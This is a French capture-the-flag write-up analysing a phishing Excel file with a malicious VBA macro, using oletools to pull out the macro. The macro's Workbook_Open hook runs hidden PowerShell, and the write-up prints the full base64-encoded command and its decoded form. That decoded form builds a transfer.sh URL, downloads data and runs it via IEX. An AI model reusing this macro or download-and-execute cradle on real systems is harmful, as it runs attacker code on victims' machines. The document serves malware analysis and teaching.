Enoncé

BreizhCrêpes est une entreprise spécialisée dans la production de crêpes salées (miam). Gurvan, l’administrateur système de l’entreprise, reçoit un appel d’un collaborateur. Il s’agit de Gweltaz qui indique avoir cliqué sur un e-mail suspect. L’e-mail semble provenir d’un fournisseur de confiance TrueBreizhButter (producteur de beurre doux) et l’incite à ouvrir un fichier pour vérifier une facture en attente de paiement.

Le fichier Excel compta_breizh.xls est à analyser pour comprendre le déroulé de l’attaque.

Analyse

Un fichier malveillant ?

Une première analyse sur VirusTotal nous informe que le fichier est à priori pas vraiment sympa :

Analyse de compta_breizh.xls sur VirusTotal

Pour confirmer ce premier constat et pour la suite de l’analyse, nous allons utiliser la suite python oletools qui permet l’analyse des fichiers Microsoft OLE2.

L’outil oleid donne plus d’information sur le fichier, indiquant une utilisation suspecte des macros VBA :

Analyse du fichier avec l'outil oleid

L’outil mraptor de la même suite confirme l’utilisation de fonctionnalités suspectes :

$ mraptor ressources/compta_breizh.xls
[...]
----------+-----+----+--------------------------------------------------------
Result    |Flags|Type|File                                                    
----------+-----+----+--------------------------------------------------------
SUSPICIOUS|AWX  |OLE:|ressources/compta_breizh.xls                            

Flags: A=AutoExec, W=Write, X=Execute
Exit code: 20 - SUSPICIOUS

Analyse des macros

Nous allons donc extraire le contenu des macros. Pour cela deux méthodes :

  1. Ouvrir depuis Excel dans une VM, ouvrir le menu des macros et récupérer le code
  2. Extraction avec olevba : La commande olevba ressources/compta_breizh.xls -c va afficher en sortie les différentes Macro.

La macro ThisWorkbook est conséquente et contient de nombreuses chaînes de caractères offusquées. Ici le code source complet de cette macro.

Sur les ~1000 lignes, seules quelques lignes retiendront notre attention.

Premièrement, la fonction Workbook_Open :

Sub Workbook_Open()
gaipsuncfgbh
End Sub

En effet, cette fonction permet de réagir à l’évènement se déclenchant à l’ouverture du classeur. C’est cette fonction qui permet d’exécuter automatiquement du code.

Note : Pour Word, c’est la fonction AutoOpen qui permet l’exécution automatique et Auto_Open pour PowerPoint.

Dans la suite des fonctions appelées, de nombreuses chaînes de caractères sont définies comme suivant :

Dim dpfliitiysgyfoene As String
dpfliitiysgyfoene = "b'powershell -noP -sta -w 1 -enc '"
dpfliitiysgyfoene = dpfliitiysgyfoene + "b'\xc3\xaf\xc2\xbb\xc2\xbfSiheMmInWEc6XCN0Q1VnUiM/QnckInhkRjdMbTh7J3BYRV5YX'"
' ...

Ces String sont des commandes PowerShell, si on détaille les différents arguments utilisés :

  • -noP : Ne charge pas le profil PowerShell ;
  • -sta : Démarre PowerShell à l’aide d’un cloisonnement monothread ;
  • -w 1 : Définis le WindowStyle, à la valeur Hidden (1) ;
  • -enc : Accepte une chaîne encodée en base 64 d’une commande. La chaîne doit être mise en forme à l’aide de l’encodage de caractères UTF-16LE.

Toutefois, seules 2 de ces chaînes sont réutilisées et 1 est intéressante. Si on garde les parties utiles et qu’on nettoie un peu le code, on obtient :

Dim smvhidmqr As String
powershell 'b'-noP -sta -w 1 -enc 'JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA'

' ...

Set tcwxhratddfndcvrvy = CreateObject("b'wscr'b'ipt.Shell'")
tcwxhratddfndcvrvy.Run smvhidmqr

Une fois décodée, la commande PowerShell exécutée est la suivante :

$K=[System.TEXT.ENCODINg]::ASCII.GETByteS('7HC2sn8CaxG4ueTHa5gS');
$R={$D,$K=$ArgS;
$S=0..255;
0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnT])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$vi=[System.TEXT.ENCODINg]::ASCII.GETByteS('j7S1');
$_-BXOR$S[($S[$I]+$S[$H])%256]}};
$fq=[System.Convert]::FromBase64String('78MmHsjJySEH05nyUsk9pfgOqWsLSBLO');
$f=-join[char[]](& $r $fq ($vi+$k));
$Wc=NEW-OBjECt SYstEM.NeT.WEBClIENt;
$t='https://transfer.sh/get';
$ser='gtwCat3m435bwc3pdQ==';
$data=[System.Convert]::FromBase64String($ser);
$HJ=-join[char[]](& $r $data ($vi+$k));
$data=$WC.DownloADDATA($t+$HJ);
-JoiN[CHar[]]($DatA)|IEX

Ces commandes PowerShell vont construire une URL puis appeler l’URL construite et exécuter, via l’expression IEX (Invoke-Expression), les données reçues.

En modifiant un peu les commandes PowerShell, on affiche l’URL construite, ainsi que le flag, qui est dans une chaîne de caractère inutilisé :

Exécution du script PowerShell depuis PowerShell ISE

Voilà, fin du challenge, pour le Write-up original de l’auteur, c’est ici.

À propos de l’auteur

Article écrit par Alexandre RIPOTEAU alias Vunnm, Ingénieur en Test d’Intrusion chez ACCEIS.